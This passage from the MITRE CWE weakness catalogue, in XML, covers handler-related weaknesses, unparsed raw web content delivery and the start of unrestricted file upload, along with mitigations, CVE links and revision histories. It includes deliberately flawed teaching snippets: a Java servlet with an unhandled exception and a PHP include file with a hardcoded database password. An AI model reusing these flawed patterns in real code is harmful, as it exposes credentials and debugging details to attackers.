            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Improper Handler Deployment</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="11"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 3, &#34;File Handlers&#34;, Page 74"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Improper Handler Deployment</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="431" Name="Missing Handler" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>A handler is not available or implemented.</Description>
         <Extended_Description>When an exception is thrown and not caught, the process has given up an opportunity to decide if a given failure or event is worth a change in execution.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="691" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="433" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Handle all possible situations (e.g. error condition).</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If an operation can throw an Exception, implement a handler for that specific exception.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>If a Servlet does not catch all exceptions, it may reveal debugging information that will help an adversary form a plan of attack. In the following method a DNS lookup failure will cause the Servlet to throw an exception.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {<xhtml:div style="margin-left:1em;">String ip = req.getRemoteAddr();<xhtml:br/>InetAddress addr = InetAddress.getByName(ip);<xhtml:br/>...<xhtml:br/>out.println("hello " + addr.getHostName());</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Missing Handler</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP4</Entry_ID>
               <Entry_Name>Unchecked Status Condition</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 3, &#34;File Handlers&#34;, Page 74"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="432" Name="Dangerous Signal Handler not Disabled During Sensitive Operations" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses a signal handler that shares state with other signal handlers, but it does not properly mask or prevent those signal handlers from being invoked while the original signal handler is still running.</Description>
         <Extended_Description>During the execution of a signal handler, it can be interrupted by another handler when a different signal is sent. If the two handlers share state - such as global variables - then an attacker can corrupt the state by sending another signal before the first handler has completed execution.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="364" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Turn off dangerous handlers when performing sensitive operations.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>SIG00-C</Entry_ID>
               <Entry_Name>Mask signals handled by noninterruptible signal handlers</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Dangerous handler not cleared/disabled during sensitive operations</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Name, Potential_Mitigations, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Dangerous Handler not Cleared/Disabled During Sensitive Operations</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Dangerous Handler not Disabled During Sensitive Operations</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="433" Name="Unparsed Raw Web Content Delivery" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product stores raw content or supporting code under the web document root with an extension that is not specifically handled by the server.</Description>
         <Extended_Description>If code is stored in a file with an extension such as ".inc" or ".pl", and the web server does not have a handler for that extension, then the server will likely send the contents of the file directly to the requester without the pre-processing that was expected. When that file contains sensitive information such as database credentials, this may allow the attacker to compromise the application or associated components.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="219" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Perform a type check before interpreting files.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Do not store sensitive information in files which may be misinterpreted.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-104">
               <Intro_Text>The following code uses an include file to store database credentials:</Intro_Text>
               <Body_Text>database.inc</Body_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>&lt;?php<xhtml:br/>$dbName = 'usersDB';<xhtml:br/>$dbPassword = 'skjdh#67nkjd3$3$';<xhtml:br/>?&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>login.php</Body_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>&lt;?php<xhtml:br/>include('database.inc');<xhtml:br/>$db = connectToDB($dbName, $dbPassword);<xhtml:br/>$db.authenticateUser($username, $password);<xhtml:br/>?&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1886</Reference>
               <Description>".inc" file stored under web document root and returned unparsed by the server</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1886</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2065</Reference>
               <Description>".inc" file stored under web document root and returned unparsed by the server</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2065</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2029</Reference>
               <Description>".inc" file stored under web document root and returned unparsed by the server</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2029</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0330</Reference>
               <Description>direct request to .pl file leaves it unparsed</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0330</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0614</Reference>
               <Description>.inc file</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0614</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2353</Reference>
               <Description>unparsed config.conf file</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2353</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-3365</Reference>
               <Description>Chain: uppercase file extensions causes web server to return script source code instead of executing the script.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-3365</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Unparsed Raw Web Content Delivery</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 3, &#34;File Handlers&#34;, Page 74"/>
         </References>
         <Notes>
            <Note Type="Relationship">This overlaps direct requests (CWE-425), alternate path (CWE-424), permissions (CWE-275), and sensitive file under web root (CWE-219).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Observed_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="434" Name="Unrestricted Upload of File with Dangerous Type" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="669" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="669" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="351" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="436" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="430" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
               <Description>This can be primary when there is no check at all.</Description>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
               <Description>This is frequently resultant when use of double extensions (e.g. ".php.gif") bypasses a sanity check.</Description>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
               <Description>This can be resultant from client-side enforcement (CWE-602); some products will include web script in web clients to check the filename, without verifying on the server side.</Description>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="ASP.NET" Prevalence="Sometimes"/>
            <Language Name="PHP" Prevalence="Often"/>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Name="Web Server" Prevalence="Sometimes"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Unrestricted File Upload</Term>
               <Description>Used in vulnerability databases and elsewhere, but it is insufficiently precise. The phrase could be interpreted as the lack of restrictions on the size or number of uploaded files, which is a resource consumption issue.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>Arbitrary code execution is possible if an uploaded file is interpreted and executed as code by the recipient. This is especially true for .asp and .php extensions uploaded to web servers because these file types are often treated as automatically executable, even when file system permissions do not specify execution. For example, in Unix environments, programs typically cannot run unless the execute bit is set, but PHP programs may be executed by the web server without directly invoking them on the operating system.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-21">
               <Phase>Architecture and Design</Phase>
               <Strategy>Enforcement by Conversion</Strategy>
               <Description>When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-15">
               <Phase>Architecture and Design</Phase>
               <Description>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-17">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
